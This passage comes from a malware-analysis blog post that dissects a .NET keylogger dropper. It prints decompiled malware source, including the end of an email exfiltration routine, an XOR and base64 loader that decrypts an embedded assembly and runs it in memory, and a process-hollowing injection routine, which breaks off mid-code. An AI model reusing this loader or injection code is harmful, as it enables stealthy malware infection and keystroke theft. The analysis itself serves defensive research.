= <span style=\"color: #008800; font-weight: bold\">true<\/span>\r\n\t\t\t\t}.Send(mailMessage);\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.Text = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_12D)\r\n\t\t\t{\r\n\t\t\t\tProjectData.SetProjectError(expr_12D);\r\n\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.RichTextBox2.Text = <span style=\"background-color: #fff0f0\">&quot;&quot;<\/span>;\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1404838449738.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1404838449738.png\" alt=\"1404838449738\" width=\"393\" height=\"391\" class=\"alignnone size-full wp-image-846\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1404838449738.png 393w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1404838449738-150x150.png 150w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1404838449738-300x298.png 300w\" sizes=\"(max-width: 393px) 100vw, 393px\" \/><\/a><\/p>\n<p>That&#8217;s right, included in the drop is the gmail user \/ password. And before you check, I&#8217;ll save you time &#8211; google already locked out the accounts. <\/p>\n<p>All in all, the malware attempts to download and run a second binary, starts logging keystrokes, kills the browsers, and loads itself on startup, all the while sending the keystrokes and IP address to some gmail address. <\/p>\n<p>Now for the second binary. <\/p>\n<p>Filename:        derp_syria.exe<br \/>\nMD5 Hash:        C09D23A8E44C3170E9AF0132788FCEB0<br \/>\nDetection ratio: 44 \/ 49 <\/p>\n<p>It is of course a .net binary (surprise surprise). First introspection when opened up in .net decompiler we see a binary stream in the form of a resource file. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr1.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr1-300x159.png\" alt=\"syr1\" width=\"300\" height=\"159\" class=\"alignnone size-medium wp-image-844\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr1-300x159.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr1-1024x543.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr1.png 1125w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nAnd a look see at the file:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr3-300x262.png\" alt=\"syr3\" width=\"300\" height=\"262\" class=\"alignnone size-medium wp-image-849\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr3-300x262.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr3-1024x896.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr3.png 1028w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nDefinitely something to this judging by its size and repetition of characters. We&#8217;ll come back to that later. <\/p>\n<p>Peeking at the source code of the main method \/ classes, we see how malware uses this benign resource file. <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Project1_Remake.Properties<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.ComponentModel<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Reflection<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Text<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">namespace<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Project1_Remake<\/span>\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">Component1<\/span> : Component\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] myShit = Convert.FromBase64String(Resources.String1);\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> whatacrap = <span style=\"background-color: #fff0f0\">&quot;Doc&quot;<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span> myFirstbyte;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] myFirstarraybyte;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] mySecondarraybyte;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> nysKO = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> IContainer components;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">polyMal<\/span>()\r\n\t\t{\r\n\t\t\tArray.Reverse(Component1.myShit);\r\n\t\t\tComponent1.myFirstbyte = Component1.myShit[Component1.myShit.Length - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>];\r\n\t\t\tComponent1.myFirstarraybyte = Encoding.ASCII.GetBytes(Component1.whatacrap);\r\n\t\t\tComponent1.mySecondarraybyte = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[Component1.myShit.Length + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>];\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; i &lt;= Component1.myShit.Length - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>; i++)\r\n\t\t\t{\r\n\t\t\t\tComponent1.mySecondarraybyte[i] = Convert.ToByte((<span style=\"color: #333399; font-weight: bold\">int<\/span>)(Component1.myShit[i] ^ Component1.myFirstbyte ^ Component1.myFirstarraybyte[Component1.nysKO]));\r\n\t\t\t\tArray.Reverse(Component1.myFirstarraybyte);\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Component1.nysKO == Component1.myFirstarraybyte.Length - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>)\r\n\t\t\t\t{\r\n\t\t\t\t\tComponent1.nysKO = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t}\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t\t\t{\r\n\t\t\t\t\tComponent1.nysKO++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tArray.Resize&lt;<span style=\"color: #333399; font-weight: bold\">byte<\/span>&gt;(<span style=\"color: #008800; font-weight: bold\">ref<\/span> Component1.mySecondarraybyte, Component1.mySecondarraybyte.Length - <span style=\"color: #6600EE; font-weight: bold\">2<\/span>);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Component1.mySecondarraybyte;\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Main<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] rawAssembly = Component1.polyMal();\r\n\t\t\tAssembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);\r\n\t\t\tType type = assembly.GetType(<span style=\"background-color: #fff0f0\">&quot;Project1.ue4tretr&quot;<\/span>);\r\n\t\t\tMethodInfo method = type.GetMethod(<span style=\"background-color: #fff0f0\">&quot;tuy5u6ruy&quot;<\/span>);\r\n\t\t\tmethod.Invoke(<span style=\"color: #008800; font-weight: bold\">null<\/span>, <span style=\"color: #008800; font-weight: bold\">null<\/span>);\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">protected<\/span> <span style=\"color: #008800; font-weight: bold\">override<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Dispose<\/span>(<span style=\"color: #333399; font-weight: bold\">bool<\/span> disposing)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (disposing &amp;&amp; <span style=\"color: #008800; font-weight: bold\">this<\/span>.components != <span style=\"color: #008800; font-weight: bold\">null<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.components.Dispose();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">base<\/span>.Dispose(disposing);\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">InitializeComponent<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.components = <span style=\"color: #008800; font-weight: bold\">new<\/span> Container();\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.CodeDom.Compiler<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.ComponentModel<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Diagnostics<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Globalization<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Resources<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Runtime.CompilerServices<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">namespace<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Project1_Remake.Properties<\/span>\r\n{\r\n<span style=\"color: #0000CC\">\t[GeneratedCode(&quot;System.Resources.Tools.StronglyTypedResourceBuilder&quot;, &quot;4.0.0.0&quot;), DebuggerNonUserCode, CompilerGenerated]<\/span>\r\n\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">Resources<\/span>\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> ResourceManager resourceMan;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> CultureInfo resourceCulture;\r\n<span style=\"color: #0000CC\">\t\t[EditorBrowsable(EditorBrowsableState.Advanced)]<\/span>\r\n\t\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> ResourceManager ResourceManager\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span>\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (<span style=\"color: #333399; font-weight: bold\">object<\/span>.ReferenceEquals(Resources.resourceMan, <span style=\"color: #008800; font-weight: bold\">null<\/span>))\r\n\t\t\t\t{\r\n\t\t\t\t\tResourceManager resourceManager = <span style=\"color: #008800; font-weight: bold\">new<\/span> ResourceManager(<span style=\"background-color: #fff0f0\">&quot;Project1_Remake.Properties.Resources&quot;<\/span>, <span style=\"color: #008800; font-weight: bold\">typeof<\/span>(Resources).Assembly);\r\n\t\t\t\t\tResources.resourceMan = resourceManager;\r\n\t\t\t\t}\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Resources.resourceMan;\r\n\t\t\t}\r\n\t\t}\r\n<span style=\"color: #0000CC\">\t\t[EditorBrowsable(EditorBrowsableState.Advanced)]<\/span>\r\n\t\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> CultureInfo Culture\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span>\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Resources.resourceCulture;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">set<\/span>\r\n\t\t\t{\r\n\t\t\t\tResources.resourceCulture = <span style=\"color: #008800; font-weight: bold\">value<\/span>;\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> String1\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span>\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> Resources.ResourceManager.GetString(<span style=\"background-color: #fff0f0\">&quot;String1&quot;<\/span>, Resources.resourceCulture);\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #0066BB; font-weight: bold\">Resources<\/span>()\r\n\t\t{\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>Ya like that eh? Rot 13 meets XOR. The beauty of .net is how easy it is to rip off other people&#8217;s code. And that&#8217;s what I&#8217;m gonna do now, in order to get to payload of this malware &#8211; what it intends to run. Instead of launching with the &#8216;method.invoke()&#8217; call, I&#8217;m just writing the contents of the byte stream to a file for analysis:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr2-300x162.png\" alt=\"syr2\" width=\"300\" height=\"162\" class=\"alignnone size-medium wp-image-848\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr2-300x162.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr2-1024x554.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr2.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>After running, we can now pick apart the contents of &#8216;lolfile.joe&#8217; and yes, it IS another .net binary. <\/p>\n<p>Filename:         lolfail.joe<br \/>\nMD5 Hash:         0AB60A0C36A61054E094DB02CB30EF38<br \/>\nDetection Ratio:  Unknown<\/p>\n<p>Here&#8217;s &#8216;lolfile.joe&#8217; in the disassembler:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr6.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr6-300x162.png\" alt=\"syr6\" width=\"300\" height=\"162\" class=\"alignnone size-medium wp-image-852\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr6-300x162.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr6-1024x554.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr6.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>And before you say it, yes, there IS another binary in the resources! Not encrypted this time, but still.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr4.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr4-300x262.png\" alt=\"syr4\" width=\"300\" height=\"262\" class=\"alignnone size-medium wp-image-850\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr4-300x262.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr4-1024x896.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr4.png 1028w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Here it is again in the decompiler. Very convoluted, but not encrypted. I wouldn&#8217;t even say obfuscated, just arranged weird:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr5.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr5-300x162.png\" alt=\"syr5\" width=\"300\" height=\"162\" class=\"alignnone size-medium wp-image-851\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr5-300x162.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr5-1024x554.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/syr5.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>This new binary does nothing more than place the binary &#8216;sppnp.exe&#8217; on startup using the registry. Not very interesting. <\/p>\n<p>Let&#8217;s focus on the interesting stuff now. The first class named &#8216;RuntimePortableExecutable&#8217; contains methods for the creation and execution of an exe file via injection or process hollowing. The API&#8217;s that stand out and make this evident are WriteProcessMemory, VirtualProtectEx, ResumeThread, ZwUnmapViewOfSection, GetThreadContext, and SetThreadContext. <\/p>\n<p>Two methods that stand out are used for the creation \/ injection of an exe into a processes&#8217; memory. There&#8217;s a method for windows xp, and windows 7:<\/p>\n<p>XP<\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">WindowsXp<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] data, <span style=\"color: #333399; font-weight: bold\">string<\/span> target)\r\n\t\t{\r\n\t\t\tRuntimePortableExecutable.Context context = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.Context);\r\n\t\t\tRuntimePortableExecutable.ProcessInformation processInformation = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.ProcessInformation);\r\n\t\t\tRuntimePortableExecutable.StartupInformation startupInformation = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.StartupInformation);\r\n\t\t\tRuntimePortableExecutable.SecurityFlags securityFlags = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.SecurityFlags);\r\n\t\t\tRuntimePortableExecutable.SecurityFlags securityFlags2 = <span style=\"color: #008800; font-weight: bold\">default<\/span>(RuntimePortableExecutable.SecurityFlags);\r\n\t\t\tGCHandle gCHandle = GCHandle.Alloc(data, GCHandleType.Pinned);\r\n\t\t\tIntPtr intPtr = gCHandle.AddrOfPinnedObject();\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = intPtr.ToInt32();\r\n\t\t\tRuntimePortableExecutable.DosHeader dosHeader;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">object<\/span> expr_59 = Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), dosHeader.GetType());\r\n\t\t\tRuntimePortableExecutable.DosHeader dosHeader2;\r\n\t\t\tdosHeader = ((expr_59 != <span style=\"color: #008800; font-weight: bold\">null<\/span>) ? ((RuntimePortableExecutable.DosHeader)expr_59) : dosHeader2);\r\n\t\t\tgCHandle.Free();\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> arg_8B_4 = <span style=\"color: #008800; font-weight: bold\">false<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> arg_8B_5 = <span style=\"color: #6600EE; font-weight: bold\">4<\/span>u;\r\n\t\t\tIntPtr intPtr2;\r\n\t\t\tIntPtr arg_8B_6 = intPtr2;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text2 = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (!(-(RuntimePortableExecutable.CreateProcess(<span style=\"color: #008800; font-weight: bold\">ref<\/span> text, <span style=\"color: #008800; font-weight: bold\">ref<\/span> target, <span style=\"color: #008800; font-weight: bold\">ref<\/span> securityFlags, <span style=\"color: #008800; font-weight: bold\">ref<\/span> securityFlags2, arg_8B_4, arg_8B_5, arg_8B_6, <span style=\"color: #008800; font-weight: bold\">ref<\/span> text2, <span style=\"color: #008800; font-weight: bold\">ref<\/span> startupInformation, <span style=\"color: #008800; font-weight: bold\">out<\/span> processInformation) &gt; <span style=\"color: #008800; font-weight: bold\">false<\/span>)))\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n\t\t\t}\r\n\t\t\tintPtr = <span style=\"color: #008800; font-weight: bold\">new<\/span> IntPtr(num + dosHeader.Address);\r\n\t\t\tRuntimePortableExecutable.NtHeaders ntHeaders;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">object<\/span> expr_BB = Marshal.PtrToStructure(intPtr, ntHeaders.GetType());\r\n\t\t\tRuntimePortableExecutable.NtHeaders ntHeaders2;\r\n\t\t\tntHeaders = ((expr_BB != <span style=\"color: #008800; font-weight: bold\">null<\/span>) ? ((RuntimePortableExecutable.NtHeaders)expr_BB) : ntHeaders2);\r\n\t\t\tstartupInformation.CB = Strings.Len(startupInformation);\r\n\t\t\tcontext.Flags = <span style=\"color: #6600EE; font-weight: bold\">65538<\/span>u;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> ((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)ntHeaders.Signature != <span style=\"color: #6600EE; font-weight: bold\">17744<\/span>uL | dosHeader.Magic != <span style=\"color: #6600EE; font-weight: bold\">23117<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">bool<\/span> arg_163_0 = RuntimePortableExecutable.GetThreadContext(processInformation.Thread, <span style=\"color: #008800; font-weight: bold\">ref<\/span> context);\r\n\t\t\tIntPtr arg_150_0 = processInformation.Process;\r\n\t\t\tIntPtr arg_150_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)context.Ebx + <span style=\"color: #6600EE; font-weight: bold\">8<\/span>uL));\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">long<\/span> num2;\r\n\t\t\tintPtr = (IntPtr)num2;\r\n\t\t\tIntPtr arg_150_3 = (IntPtr)<span style=\"color: #6600EE; font-weight: bold\">4<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num3 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_15E_0 = RuntimePortableExecutable.ReadProcessMemory(arg_150_0, arg_150_1, <span style=\"color: #008800; font-weight: bold\">ref<\/span> intPtr, arg_150_3, <span style=\"color: #008800; font-weight: bold\">ref<\/span> num3);\r\n\t\t\tnum2 = (<span style=\"color: #333399; font-weight: bold\">long<\/span>)intPtr;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (arg_163_0 &amp; arg_15E_0 &gt;= <span style=\"color: #6600EE; font-weight: bold\">0<\/span> &amp; RuntimePortableExecutable.ZwUnmapViewOfSection(processInformation.Process, (IntPtr)num2) &gt;= <span style=\"color: #6600EE; font-weight: bold\">0L<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> num4 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)((<span style=\"color: #333399; font-weight: bold\">int<\/span>)RuntimePortableExecutable.VirtualAllocEx(processInformation.Process, (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)ntHeaders.Optional.Image)), ntHeaders.Optional.SImage, <span style=\"color: #6600EE; font-weight: bold\">12288<\/span>u, <span style=\"color: #6600EE; font-weight: bold\">4<\/span>u));\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> ((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)num4 != <span style=\"color: #6600EE; font-weight: bold\">0<\/span>uL)\r\n\t\t\t\t{\r\n\t\t\t\t\tIntPtr arg_1EC_0 = processInformation.Process;\r\n\t\t\t\t\tIntPtr arg_1EC_1 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)num4));\r\n\t\t\t\t\tIntPtr arg_1EC_3 = (IntPtr)((<span style=\"color: #333399; font-weight: bold\">long<\/span>)((<span style=\"color: #333399; font-weight: bold\">ulong<\/span>)ntHeaders.Optional.SHeaders));\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> num5;\r\n\t\t\t\t\tnum3 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)num5;\r\n\t\t\t\t\tRuntimePortableExecutable.WriteProcessMemory(arg_1EC_0, arg_1EC_1, data, arg_1EC_3, <span style=\"color: #008800; font-weight: bold\">out<\/span> num3);\r\n\t\t\t\t\tnum5 = (<span style=\"color: #333399; font-weight: bold\">uint<\/span>)num3;\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">long<\/span> num6 = (<span style=\"color: #333399; font-weight: bold\">long<\/span>)(dosHeader.Address + <span style=\"color: #6600EE; font-weight: bold\">248<\/span>);\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_217_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num7 = (<span style=\"color: #333399; font-weight: bold\">int<\/span>)(ntHeaders.File.Sections - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = arg_217_0; i &lt;= num7; i++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tintPtr = <span style=\"color: #008800; font-weight: bold\">new<\/span> IntPtr((<span style=\"color: #333399; font-weight: bold\">long<\/span>)num + num6 + (<span style=\"color: #333399; font-weight: bold\">long<\/span>)(i * <span style=\"color: #6600EE; font-weight: bold\">40<\/span>));\r\n\t\t\t\t\t\tRuntimePortableExecutable.SectionHeader sectionHeader;\r\n\t\t\t\t\t\t<span style=\"color: #333399; font-weight: bold\">object<\/span> expr_244 = Marshal.PtrToStructure(intPtr, sectionHeader.GetType());\r\n\t\t\t\t\t\tRuntimePortableExecutable.SectionHeader sectionHeader2;\r\n\t\t\t\t\t\tsectionHeader = ((expr_244 != <span style=\"color: #008800; font-weight: bold\">null<\/span>) 